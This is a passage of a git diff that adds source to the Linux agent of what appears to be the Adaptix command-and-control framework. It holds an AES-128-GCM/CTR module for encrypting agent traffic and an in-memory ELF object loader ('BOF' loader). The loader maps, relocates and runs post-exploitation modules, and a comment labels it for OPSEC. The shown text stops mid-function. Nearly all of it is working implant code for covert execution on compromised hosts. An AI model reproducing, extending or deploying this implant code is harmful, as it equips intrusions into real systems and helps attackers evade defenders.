b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c new file mode 100644 index 000000000..683564e3d --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c @@ -0,0 +1,348 @@ +#include "crypt.h" +#include "crt.h" + +/// ---- AES-128 Core ---- + +static const uint8_t aes_sbox[256] = { + 0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76, + 0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0, + 0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15, + 0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75, + 0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84, + 0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF, + 0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8, + 0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2, + 0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73, + 0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB, + 0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79, + 0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08, + 0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A, + 0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E, + 0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF, + 0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16 +}; + +static const uint8_t aes_rcon[10] = { + 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36 +}; + +#define AES128_ROUNDS 10 +#define AES128_NK 4 +#define AES128_NB 4 + +static void aes128_key_expand(const uint8_t* key, uint8_t* rk) { + ax_memcpy(rk, key, 16); + for (int i = AES128_NK; i < AES128_NB * (AES128_ROUNDS + 1); i++) { + uint8_t temp[4]; + temp[0] = rk[(i-1)*4 + 0]; + temp[1] = rk[(i-1)*4 + 1]; + temp[2] = rk[(i-1)*4 + 2]; + temp[3] = rk[(i-1)*4 + 3]; + if (i % AES128_NK == 0) { + uint8_t t = temp[0]; + temp[0] = temp[1]; temp[1] = temp[2]; + temp[2] = temp[3]; temp[3] = t; + temp[0] = aes_sbox[temp[0]]; temp[1] = aes_sbox[temp[1]]; + temp[2] = aes_sbox[temp[2]]; temp[3] = aes_sbox[temp[3]]; + temp[0] ^= aes_rcon[i/AES128_NK - 1]; + } + rk[i*4 + 0] = rk[(i-AES128_NK)*4 + 0] ^ temp[0]; + rk[i*4 + 1] = rk[(i-AES128_NK)*4 + 1] ^ temp[1]; + rk[i*4 + 2] = rk[(i-AES128_NK)*4 + 2] ^ temp[2]; + rk[i*4 + 3] = rk[(i-AES128_NK)*4 + 3] ^ temp[3]; + } +} + +static uint8_t gf_mul(uint8_t a, uint8_t b) { + uint8_t result = 0; + while (b) { + if (b & 1) result ^= a; + uint8_t hi = a & 0x80; + a <<= 1; + if (hi) a ^= 0x1B; + b >>= 1; + } + return result; +} + +static void sub_bytes(uint8_t* state) { + for (int i = 0; i < 16; i++) + state[i] = aes_sbox[state[i]]; +} + +static void shift_rows(uint8_t* s) { + uint8_t t; + t = s[1]; s[1] = s[5]; s[5] = s[9]; s[9] = s[13]; s[13] = t; + t = s[2]; s[2] = s[10]; s[10] = t; t = s[6]; s[6] = s[14]; s[14] = t; + t = s[15]; s[15] = s[11]; s[11] = s[7]; s[7] = s[3]; s[3] = t; +} + +static void mix_columns(uint8_t* s) { + for (int c = 0; c < 4; c++) { + int i = c * 4; + uint8_t a0 = s[i], a1 = s[i+1], a2 = s[i+2], a3 = s[i+3]; + s[i] = gf_mul(a0,2) ^ gf_mul(a1,3) ^ a2 ^ a3; + s[i+1] = a0 ^ gf_mul(a1,2) ^ gf_mul(a2,3) ^ a3; + s[i+2] = a0 ^ a1 ^ gf_mul(a2,2) ^ gf_mul(a3,3); + s[i+3] = gf_mul(a0,3) ^ a1 ^ a2 ^ gf_mul(a3,2); + } +} + +static void add_round_key(uint8_t* state, const uint8_t* rk, int round) { + for (int i = 0; i < 16; i++) + state[i] ^= rk[round * 16 + i]; +} + +static void aes128_encrypt_block(const uint8_t* in, uint8_t* out, const uint8_t* rk) { + uint8_t state[16]; + ax_memcpy(state, in, 16); + add_round_key(state, rk, 0); + for (int round = 1; round < AES128_ROUNDS; round++) { + sub_bytes(state); + shift_rows(state); + mix_columns(state); + add_round_key(state, rk, round); + } + sub_bytes(state); + shift_rows(state); + add_round_key(state, rk, AES128_ROUNDS); + ax_memcpy(out, state, 16); +} + +/// ---- GCM Mode ---- + +static void ghash_mul(uint8_t* x, const uint8_t* h) { + uint8_t z[16] = {0}; + uint8_t v[16]; + ax_memcpy(v, h, 16); + for (int i = 0; i < 128; i++) { + if (x[i / 8] & (0x80 >> (i % 8))) { + for (int j = 0; j < 16; j++) z[j] ^= v[j]; + } + uint8_t carry = v[15] & 1; + for (int j = 15; j > 0; j--) + v[j] = (v[j] >> 1) | (v[j-1] << 7); + v[0] >>= 1; + if (carry) v[0] ^= 0xE1; + } + ax_memcpy(x, z, 16); +} + +static void inc32(uint8_t* counter) { + for (int i = 15; i >= 12; i--) { + if (++counter[i]) break; + } +} + +static void aes_ctr(const uint8_t* rk, uint8_t* counter, + const uint8_t* in, uint8_t* out, size_t len) { + uint8_t keystream[16]; + size_t offset = 0; + while (offset < len) { + aes128_encrypt_block(counter, keystream, rk); + inc32(counter); + size_t chunk = len - offset; + if (chunk > 16) chunk = 16; + for (size_t i = 0; i < chunk; i++) + out[offset + i] = in[offset + i] ^ keystream[i]; + offset += chunk; + } +} + +/// ---- Public API ---- + +uint8_t* aes128_gcm_encrypt(const uint8_t* plaintext, size_t plaintext_len, + const uint8_t* key, size_t* out_len) { + uint8_t rk[176]; + aes128_key_expand(key, rk); + + uint8_t h[16] = {0}; + aes128_encrypt_block(h, h, rk); + + uint8_t nonce[GCM_NONCE_SIZE]; + ax_random_bytes(nonce, GCM_NONCE_SIZE); + + uint8_t j0[16] = {0}; + ax_memcpy(j0, nonce, GCM_NONCE_SIZE); + j0[15] = 1; + + uint8_t counter[16]; + ax_memcpy(counter, j0, 16); + inc32(counter); + + *out_len = GCM_NONCE_SIZE + plaintext_len + GCM_TAG_SIZE; + uint8_t* output = (uint8_t*)ax_malloc(*out_len); + if (!output) return (uint8_t*)0; + + ax_memcpy(output, nonce, GCM_NONCE_SIZE); + + uint8_t* ct = output + GCM_NONCE_SIZE; + if (plaintext_len > 0) { + aes_ctr(rk, counter, plaintext, ct, plaintext_len); + } + + uint8_t ghash_out[16] = {0}; + size_t ct_blocks = plaintext_len / 16; + for (size_t i = 0; i < ct_blocks; i++) { + for (int j = 0; j < 16; j++) + ghash_out[j] ^= ct[i * 16 + j]; + ghash_mul(ghash_out, h); + } + size_t ct_rem = plaintext_len % 16; + if (ct_rem > 0) { + for (size_t j = 0; j < ct_rem; j++) + ghash_out[j] ^= ct[ct_blocks * 16 + j]; + ghash_mul(ghash_out, h); + } + + uint8_t len_block[16] = {0}; + uint64_t ct_bits = (uint64_t)plaintext_len * 8; + len_block[8] = (uint8_t)(ct_bits >> 56); + len_block[9] = (uint8_t)(ct_bits >> 48); + len_block[10] = (uint8_t)(ct_bits >> 40); + len_block[11] = (uint8_t)(ct_bits >> 32); + len_block[12] = (uint8_t)(ct_bits >> 24); + len_block[13] = (uint8_t)(ct_bits >> 16); + len_block[14] = (uint8_t)(ct_bits >> 8); + len_block[15] = (uint8_t)(ct_bits); + for (int j = 0; j < 16; j++) + ghash_out[j] ^= len_block[j]; + ghash_mul(ghash_out, h); + + uint8_t tag[16]; + aes128_encrypt_block(j0, tag, rk); + for (int j = 0; j < 16; j++) + tag[j] ^= ghash_out[j]; + + ax_memcpy(output + GCM_NONCE_SIZE + plaintext_len, tag, GCM_TAG_SIZE); + + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + + return output; +} + +uint8_t* aes128_gcm_decrypt(const uint8_t* data, size_t data_len, + const uint8_t* key, size_t* out_len) { + if (data_len < GCM_NONCE_SIZE + GCM_TAG_SIZE) + return (uint8_t*)0; + + size_t ct_len = data_len - GCM_NONCE_SIZE - GCM_TAG_SIZE; + const uint8_t* nonce = data; + const uint8_t* ct = data + GCM_NONCE_SIZE; + const uint8_t* tag = data + GCM_NONCE_SIZE + ct_len; + + uint8_t rk[176]; + aes128_key_expand(key, rk); + + uint8_t h[16] = {0}; + aes128_encrypt_block(h, h, rk); + + uint8_t j0[16] = {0}; + ax_memcpy(j0, nonce, GCM_NONCE_SIZE); + j0[15] = 1; + + uint8_t ghash_out[16] = {0}; + size_t ct_blocks = ct_len / 16; + for (size_t i = 0; i < ct_blocks; i++) { + for (int j = 0; j < 16; j++) + ghash_out[j] ^= ct[i * 16 + j]; + ghash_mul(ghash_out, h); + } + size_t ct_rem = ct_len % 16; + if (ct_rem > 0) { + for (size_t j = 0; j < ct_rem; j++) + ghash_out[j] ^= ct[ct_blocks * 16 + j]; + ghash_mul(ghash_out, h); + } + + uint8_t len_block[16] = {0}; + uint64_t ct_bits = (uint64_t)ct_len * 8; + len_block[8] = (uint8_t)(ct_bits >> 56); + len_block[9] = (uint8_t)(ct_bits >> 48); + len_block[10] = (uint8_t)(ct_bits >> 40); + len_block[11] = (uint8_t)(ct_bits >> 32); + len_block[12] = (uint8_t)(ct_bits >> 24); + len_block[13] = (uint8_t)(ct_bits >> 16); + len_block[14] = (uint8_t)(ct_bits >> 8); + len_block[15] = (uint8_t)(ct_bits); + for (int j = 0; j < 16; j++) + ghash_out[j] ^= len_block[j]; + ghash_mul(ghash_out, h); + + uint8_t computed_tag[16]; + aes128_encrypt_block(j0, computed_tag, rk); + for (int j = 0; j < 16; j++) + computed_tag[j] ^= ghash_out[j]; + + // Constant-time tag comparison + uint8_t diff = 0; + for (int j = 0; j < GCM_TAG_SIZE; j++) + diff |= computed_tag[j] ^ tag[j]; + + if (diff != 0) { + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + return (uint8_t*)0; + } + + *out_len = ct_len; + uint8_t* plaintext = (uint8_t*)ax_malloc(ct_len > 0 ? ct_len : 1); + if (!plaintext) { + ax_memset(rk, 0, sizeof(rk)); + return (uint8_t*)0; + } + + uint8_t counter[16]; + ax_memcpy(counter, j0, 16); + inc32(counter); + + if (ct_len > 0) { + aes_ctr(rk, counter, ct, plaintext, ct_len); + } + + ax_memset(rk, 0, sizeof(rk)); + ax_memset(h, 0, sizeof(h)); + + return plaintext; +} + +/// ---- Public AES-CTR wrappers (for tunnel/terminal) ---- + +void aes128_expand_key(const uint8_t* key, uint8_t* round_keys) { + aes128_key_expand(key, round_keys); +} + +void aes128_ctr_init(aes128_ctr_ctx_t* ctx, const uint8_t* key, const uint8_t* iv) { + aes128_key_expand(key, ctx->round_keys); + for (int i = 0; i < 16; i++) ctx->counter[i] = iv[i]; + ctx->ks_offset = 16; + for (int i = 0; i < 16; i++) ctx->keystream[i] = 0; +} + +void aes128_ctr_process(aes128_ctr_ctx_t* ctx, + const uint8_t* in, uint8_t* out, size_t len) { + size_t pos = 0; + while (pos < len && ctx->ks_offset < 16) { + out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset]; + ctx->ks_offset++; + pos++; + } + while (pos + 16 <= len) { + aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys); + inc32(ctx->counter); + for (int i = 0; i < 16; i++) + out[pos + i] = in[pos + i] ^ ctx->keystream[i]; + pos += 16; + } + if (pos < len) { + aes128_encrypt_block(ctx->counter, ctx->keystream, ctx->round_keys); + inc32(ctx->counter); + ctx->ks_offset = 0; + while (pos < len) { + out[pos] = in[pos] ^ ctx->keystream[ctx->ks_offset]; + ctx->ks_offset++; + pos++; + } + } +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h new file mode 100644 index 000000000..0cda22042 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h @@ -0,0 +1,55 @@ +#ifndef CRYPT_H +#define CRYPT_H + +#include +#include + +/// AES-128-GCM encryption/decryption +/// Format: [nonce 12 bytes][ciphertext][tag 16 bytes] +/// Key: 16 bytes (AES-128) +/// Matches Go's crypto/aes + cipher.NewGCM with 16-byte key + +#define AES_KEY_SIZE 16 +#define AES_BLOCK_SIZE 16 +#define GCM_NONCE_SIZE 12 +#define GCM_TAG_SIZE 16 + +/// Encrypt plaintext with AES-128-GCM. +/// Allocates output buffer [nonce][ciphertext][tag]. +/// Returns output and sets *out_len. Caller must free output. +uint8_t *aes128_gcm_encrypt(const uint8_t *plaintext, size_t plaintext_len, + const uint8_t *key, + size_t *out_len); + +/// Decrypt AES-128-GCM ciphertext. +/// Input format: [nonce 12B][ciphertext][tag 16B]. +/// Returns plaintext and sets *out_len. Caller must free output. +/// Returns NULL on authentication failure. +uint8_t *aes128_gcm_decrypt(const uint8_t *data, size_t data_len, + const uint8_t *key, + size_t *out_len); + +/// Expand AES-128 key into round keys (176 bytes) +void aes128_expand_key(const uint8_t *key, uint8_t *round_keys); + +/// AES-128-CTR for tunnel/terminal streaming +/// Key: 16 bytes, IV: 16 bytes (used as initial counter) + +/// CTR stream context -- preserves partial keystream between calls. +/// This matches Go's cipher.NewCTR behavior where partial blocks +/// are carried across calls. +typedef struct { + uint8_t round_keys[176]; + uint8_t counter[16]; + uint8_t keystream[16]; /* cached keystream block */ + uint8_t ks_offset; /* how many bytes used in current keystream (0-16) */ +} aes128_ctr_ctx_t; + +/// Initialize CTR context with key and IV +void aes128_ctr_init(aes128_ctr_ctx_t *ctx, const uint8_t *key, const uint8_t *iv); + +/// Process data with CTR stream (preserves partial block state) +void aes128_ctr_process(aes128_ctr_ctx_t *ctx, + const uint8_t *in, uint8_t *out, size_t len); + +#endif /* CRYPT_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c new file mode 100644 index 000000000..422c00fa6 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c @@ -0,0 +1,1060 @@ +/// elf_bof.c — ELF BOF Loader for Linux Agent +/// In-memory loader for ELF relocatable objects (.o files compiled with gcc -c) +/// Supports x86_64 and ARM64 relocations +/// OPSEC: mmap(RW) → mprotect per-section → execute → zero → munmap + +#include "elf_bof.h" +#include "crt.h" +#include "types.h" +#include "msgpack.h" +#include "jobs.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// mprotect constants +#define PROT_NONE 0x0 +#define PROT_READ 0x1 +#define PROT_WRITE 0x2 +#define PROT_EXEC 0x4 +#define MAP_PRIVATE 0x02 +#define MAP_ANONYMOUS 0x20 +#define MAP_FAILED ((void *)-1) + +/// External BOF API functions (from bof_api.c) +extern void bof_output_init(void); +extern void bof_output_cleanup(void); +extern const char *bof_output_get(int *out_len); +extern int bof_output_get_error(void); +extern void *bof_resolve_symbol(const char *name); +extern void bof_set_async_ctx(void *ctx, int stop_fd); +extern void bof_clear_async_ctx(void); + +/// ──────────────────────────────────────────────────────────────────────────── +/// Internal structures +/// ──────────────────────────────────────────────────────────────────────────── + +/// Loaded section descriptor +typedef struct { + void *base; // pointer within the contiguous arena + size_t size; // allocated size (page-aligned) + size_t raw_size; // original section size + uint32_t flags; // ELF section flags (SHF_*) + int shndx; // original section index in ELF +} loaded_section_t; + +/// Contiguous memory arena for all BOF sections + trampolines. +/// All sections are allocated within a single mmap to guarantee PC-relative +/// relocations (R_X86_64_PC32, R_X86_64_PLT32) stay within ±2 GB range. +typedef struct { + void *base; // single mmap base + size_t total_size; // total mmap'd size + void *trampoline; // pointer to trampoline area within arena + int tramp_count; // number of trampolines written +} bof_arena_t; + +/// Resolved symbol value +typedef struct { + uint64_t value; // resolved address + int section; // section index (-1 if external) + int resolved; // 1 if resolved +} sym_value_t; + +/// BOF entry function type +typedef void (*bof_entry_t)(char *args, int args_len); + +/// ──────────────────────────────────────────────────────────────────────────── +/// Page alignment +/// ──────────────────────────────────────────────────────────────────────────── + +static inline size_t page_align(size_t size) { + return (size + 4095) & ~(size_t)4095; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Validate ELF header +/// ──────────────────────────────────────────────────────────────────────────── + +static int validate_elf(const Elf64_Ehdr *ehdr, uint32_t file_size) { + // Check magic + if (ehdr->e_ident[0] != ELFMAG0 || ehdr->e_ident[1] != ELFMAG1 || + ehdr->e_ident[2] != ELFMAG2 || ehdr->e_ident[3] != ELFMAG3) + return -1; + + // Check 64-bit little-endian + if (ehdr->e_ident[4] != ELFCLASS64 || ehdr->e_ident[5] != ELFDATA2LSB) + return -1; + + // Must be relocatable object (ET_REL) + if (ehdr->e_type != ET_REL) + return -1; + + // Check machine type matches our build +#ifdef ARCH_X86_64 + if (ehdr->e_machine != EM_X86_64) + return -1; +#endif +#ifdef ARCH_AARCH64 + if (ehdr->e_machine != EM_AARCH64) + return -1; +#endif + + // Bounds check section header table + if (ehdr->e_shoff == 0 || ehdr->e_shnum == 0) + return -1; + if (ehdr->e_shoff + (uint64_t)ehdr->e_shnum * ehdr->e_shentsize > file_size) + return -1; + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Allocate sections — single contiguous mmap for all SHF_ALLOC sections +/// This guarantees all inter-section PC-relative relocations (R_X86_64_PC32, +/// R_X86_64_PLT32, ARM64 CALL26/JUMP26) fit within ±2 GB / ±128 MB range. +/// A trampoline area is appended for external function calls. +/// ──────────────────────────────────────────────────────────────────────────── + +/// Max trampolines (one per unique external symbol reference) +#define BOF_MAX_TRAMPOLINES 128 + +/// Trampoline stub sizes +#ifdef ARCH_X86_64 +#define TRAMPOLINE_SIZE 14 // FF 25 00 00 00 00 [8-byte addr] = jmp [rip+0] +#endif +#ifdef ARCH_AARCH64 +#define TRAMPOLINE_SIZE 16 // ldr x16, [pc+8]; br x16; .quad addr +#endif + +static int allocate_sections(const uint8_t *elf_data, const Elf64_Ehdr *ehdr, + const Elf64_Shdr *shdrs, + loaded_section_t *sections, int *num_sections, + bof_arena_t *arena) { + *num_sections = 0; + arena->base = (void *)0; + arena->total_size = 0; + arena->trampoline = (void *)0; + arena->tramp_count = 0; + + // ── Pass 1: compute total size needed ── + // Each section is page-aligned so mprotect per-section doesn't conflict + size_t total = 0; + for (int i = 0; i < ehdr->e_shnum; i++) { + const Elf64_Shdr *shdr = &shdrs[i]; + if (!(shdr->sh_flags & SHF_ALLOC)) + continue; + total = page_align(total); // page-align each section start + total += shdr->sh_size > 0 ? shdr->sh_size : 16; + } + // Trampoline area (page-aligned start, enough for max trampolines) + total = page_align(total); + size_t tramp_offset = total; + total += page_align(BOF_MAX_TRAMPOLINES * TRAMPOLINE_SIZE); + + // ── Pass 2: single mmap ── + size_t mmap_size = page_align(total); + void *base = sys_mmap((void *)0, mmap_size, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (base == MAP_FAILED) + return -1; + + ax_memset(base, 0, mmap_size); + arena->base = base; + arena->total_size = mmap_size; + arena->trampoline = (uint8_t *)base + tramp_offset; + arena->tramp_count = 0; + + // ── Pass 3: lay out sections within the arena (page-aligned) ── + size_t offset = 0; + for (int i = 0; i < ehdr->e_shnum && *num_sections < BOF_MAX_SECTIONS; i++) { + const Elf64_Shdr *shdr = &shdrs[i]; + if (!(shdr->sh_flags & SHF_ALLOC)) + continue; + + offset = page_align(offset); // page-align each section + + size_t sec_size = shdr->sh_size > 0 ? shdr->sh_size : 16; + void *sec_base = (uint8_t *)base + offset; + + // Copy section data (SHT_NOBITS sections like .bss are zero-filled already) + if (shdr->sh_type != SHT_NOBITS && shdr->sh_size > 0) { + ax_memcpy(sec_base, elf_data + shdr->sh_offset, shdr->sh_size); + } + + loaded_section_t *ls = §ions[*num_sections]; + ls->base = sec_base; + ls->size = sec_size; + ls->raw_size = shdr->sh_size; + ls->flags = (uint32_t)shdr->sh_flags; + ls->shndx = i; + (*num_sections)++; + + offset += sec_size; + } + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Write a trampoline stub for an external function, returns stub address +/// ──────────────────────────────────────────────────────────────────────────── + +static void *write_trampoline(bof_arena_t *arena, uint64_t target_addr) { + if (arena->tramp_count >= BOF_MAX_TRAMPOLINES) + return (void *)0; + + uint8_t *stub = (uint8_t *)arena->trampoline + (arena->tramp_count * TRAMPOLINE_SIZE); + arena->tramp_count++; + +#ifdef ARCH_X86_64 + // jmp [rip+0] ; .quad target_addr + // FF 25 00 00 00 00 xx xx xx xx xx xx xx xx + stub[0] = 0xFF; + stub[1] = 0x25; + stub[2] = 0x00; + stub[3] = 0x00; + stub[4] = 0x00; + stub[5] = 0x00; + ax_memcpy(stub + 6, &target_addr, 8); +#endif + +#ifdef ARCH_AARCH64 + // ldr x16, #8 → 58000050 + // br x16 → D61F0200 + // .quad target_addr + uint32_t ldr_insn = 0x58000050; // ldr x16, pc+8 + uint32_t br_insn = 0xD61F0200; // br x16 + ax_memcpy(stub + 0, &ldr_insn, 4); + ax_memcpy(stub + 4, &br_insn, 4); + ax_memcpy(stub + 8, &target_addr, 8); +#endif + + return (void *)stub; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Find loaded section by ELF section index +/// ──────────────────────────────────────────────────────────────────────────── + +static loaded_section_t *find_loaded_section(loaded_section_t *sections, int num_sections, int shndx) { + for (int i = 0; i < num_sections; i++) { + if (sections[i].shndx == shndx) + return §ions[i]; + } + return (loaded_section_t *)0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Resolve all symbols +/// ──────────────────────────────────────────────────────────────────────────── + +static int resolve_symbols(const Elf64_Sym *symtab, int num_syms, + const char *strtab, + loaded_section_t *sections, int num_sections, + sym_value_t *sym_values, bof_arena_t *arena, + char *err_symbol, int err_symbol_size) { + for (int i = 0; i < num_syms; i++) { + const Elf64_Sym *sym = &symtab[i]; + sym_values[i].resolved = 0; + sym_values[i].value = 0; + sym_values[i].section = -1; + + // STT_SECTION symbols — point to the loaded section base + if (ELF64_ST_TYPE(sym->st_info) == 3 /* STT_SECTION */) { + loaded_section_t *ls = find_loaded_section(sections, num_sections, sym->st_shndx); + if (ls) { + sym_values[i].value = (uint64_t)(uintptr_t)ls->base; + sym_values[i].section = sym->st_shndx; + sym_values[i].resolved = 1; + } + continue; + } + + // Defined symbols (st_shndx != SHN_UNDEF) + if (sym->st_shndx != SHN_UNDEF) { + loaded_section_t *ls = find_loaded_section(sections, num_sections, sym->st_shndx); + if (ls) { + sym_values[i].value = (uint64_t)(uintptr_t)ls->base + sym->st_value; + sym_values[i].section = sym->st_shndx; + sym_values[i].resolved = 1; + } + continue; + } + + // Undefined symbol — must be a BOF API function + const char *name = strtab + sym->st_name; + if (sym->st_name == 0 || name[0] == '\0') { + // Empty name for symbol 0 — skip + sym_values[i].resolved = 1; + continue; + } + + void *func = bof_resolve_symbol(name); + if (func) { + // External function: create a trampoline stub within the arena + // so that PC-relative relocations (R_X86_64_PLT32, ARM64 CALL26) + // can reach it within ±2 GB / ±128 MB range + void *tramp = write_trampoline(arena, (uint64_t)(uintptr_t)func); + if (tramp) { + sym_values[i].value = (uint64_t)(uintptr_t)tramp; + } else { + // Fallback: use direct address (may overflow for PLT32/CALL26 + // but works for R_X86_64_64/R_AARCH64_ABS64) + sym_values[i].value = (uint64_t)(uintptr_t)func; + } + sym_values[i].section = -1; // external + sym_values[i].resolved = 1; + } else { + // Weak symbols are allowed to be unresolved (value = 0) + if (ELF64_ST_BIND(sym->st_info) == STB_WEAK) { + sym_values[i].value = 0; + sym_values[i].resolved = 1; + } else { + // Fatal: unresolved symbol + ax_strncpy(err_symbol, name, err_symbol_size - 1); + err_symbol[err_symbol_size - 1] = '\0'; + return -1; + } + } + } + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Apply relocations — x86_64 +/// ──────────────────────────────────────────────────────────────────────────── + +#ifdef ARCH_X86_64 +static int apply_relocations_x64(const Elf64_Rela *relas, int num_relas, + sym_value_t *sym_values, + loaded_section_t *target_section) { + for (int i = 0; i < num_relas; i++) { + const Elf64_Rela *rela = &relas[i]; + uint32_t sym_idx = (uint32_t)ELF64_R_SYM(rela->r_info); + uint32_t type = (uint32_t)ELF64_R_TYPE(rela->r_info); + + if (!sym_values[sym_idx].resolved) + return -1; + + uint64_t S = sym_values[sym_idx].value; + int64_t A = rela->r_addend; + uint8_t *P = (uint8_t *)target_section->base + rela->r_offset; + + switch (type) { + case R_X86_64_64: + *(uint64_t *)P = S + A; + break; + + case R_X86_64_PC32: + case R_X86_64_PLT32: { + int64_t val = (int64_t)S + A - (int64_t)(uintptr_t)P; + *(int32_t *)P = (int32_t)val; + break; + } + + case R_X86_64_32: + *(uint32_t *)P = (uint32_t)(S + A); + break; + + case R_X86_64_32S: + *(int32_t *)P = (int32_t)(S + A); + break; + + default: + // Unsupported relocation type — skip (non-fatal) + break; + } + } + return 0; +} +#endif + +/// ──────────────────────────────────────────────────────────────────────────── +/// Apply relocations — ARM64 (AArch64) +/// ──────────────────────────────────────────────────────────────────────────── + +#ifdef ARCH_AARCH64 +static int apply_relocations_arm64(const Elf64_Rela *relas, int num_relas, + sym_value_t *sym_values, + loaded_section_t *target_section) { + for (int i = 0; i < num_relas; i++) { + const Elf64_Rela *rela = &relas[i]; + uint32_t sym_idx = (uint32_t)ELF64_R_SYM(rela->r_info); + uint32_t type = (uint32_t)ELF64_R_TYPE(rela->r_info); + + if (!sym_values[sym_idx].resolved) + return -1; + + uint64_t S = sym_values[sym_idx].value; + int64_t A = rela->r_addend; + uint8_t *P = (uint8_t *)target_section->base + rela->r_offset; + + switch (type) { + case R_AARCH64_ABS64: + *(uint64_t *)P = S + A; + break; + + case R_AARCH64_CALL26: + case R_AARCH64_JUMP26: { + int64_t offset = ((int64_t)S + A - (int64_t)(uintptr_t)P) >> 2; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFC000000) | (offset & 0x3FFFFFF); + break; + } + + case R_AARCH64_ADR_PREL_PG_HI21: { + int64_t page_s = ((int64_t)S + A) & ~0xFFFLL; + int64_t page_p = (int64_t)(uintptr_t)P & ~0xFFFLL; + int64_t offset = page_s - page_p; + uint32_t immlo = ((offset >> 12) & 0x3) << 29; + uint32_t immhi = ((offset >> 14) & 0x7FFFF) << 5; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0x9F00001F) | immlo | immhi; + break; + } + + case R_AARCH64_ADD_ABS_LO12_NC: + case R_AARCH64_LDST8_ABS_LO12_NC: { + uint64_t val = (S + A) & 0xFFF; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + case R_AARCH64_LDST16_ABS_LO12_NC: { + uint64_t val = ((S + A) & 0xFFF) >> 1; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + case R_AARCH64_LDST32_ABS_LO12_NC: { + uint64_t val = ((S + A) & 0xFFF) >> 2; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + case R_AARCH64_LDST64_ABS_LO12_NC: { + uint64_t val = ((S + A) & 0xFFF) >> 3; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + case R_AARCH64_LDST128_ABS_LO12_NC: { + uint64_t val = ((S + A) & 0xFFF) >> 4; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + default: + // Unsupported relocation type — skip + break; + } + } + return 0; +} +#endif + +/// ──────────────────────────────────────────────────────────────────────────── +/// Apply protections — per-section mprotect +/// ──────────────────────────────────────────────────────────────────────────── + +static int protect_sections(loaded_section_t *sections, int num_sections, + bof_arena_t *arena) { + // Protect per-section: mprotect requires page-aligned addresses and sizes. + // Since sections within the arena may share pages, we use page-aligned ranges. + for (int i = 0; i < num_sections; i++) { + int prot; + if (sections[i].flags & SHF_EXECINSTR) { + prot = PROT_READ | PROT_EXEC; + } else if (sections[i].flags & SHF_WRITE) { + prot = PROT_READ | 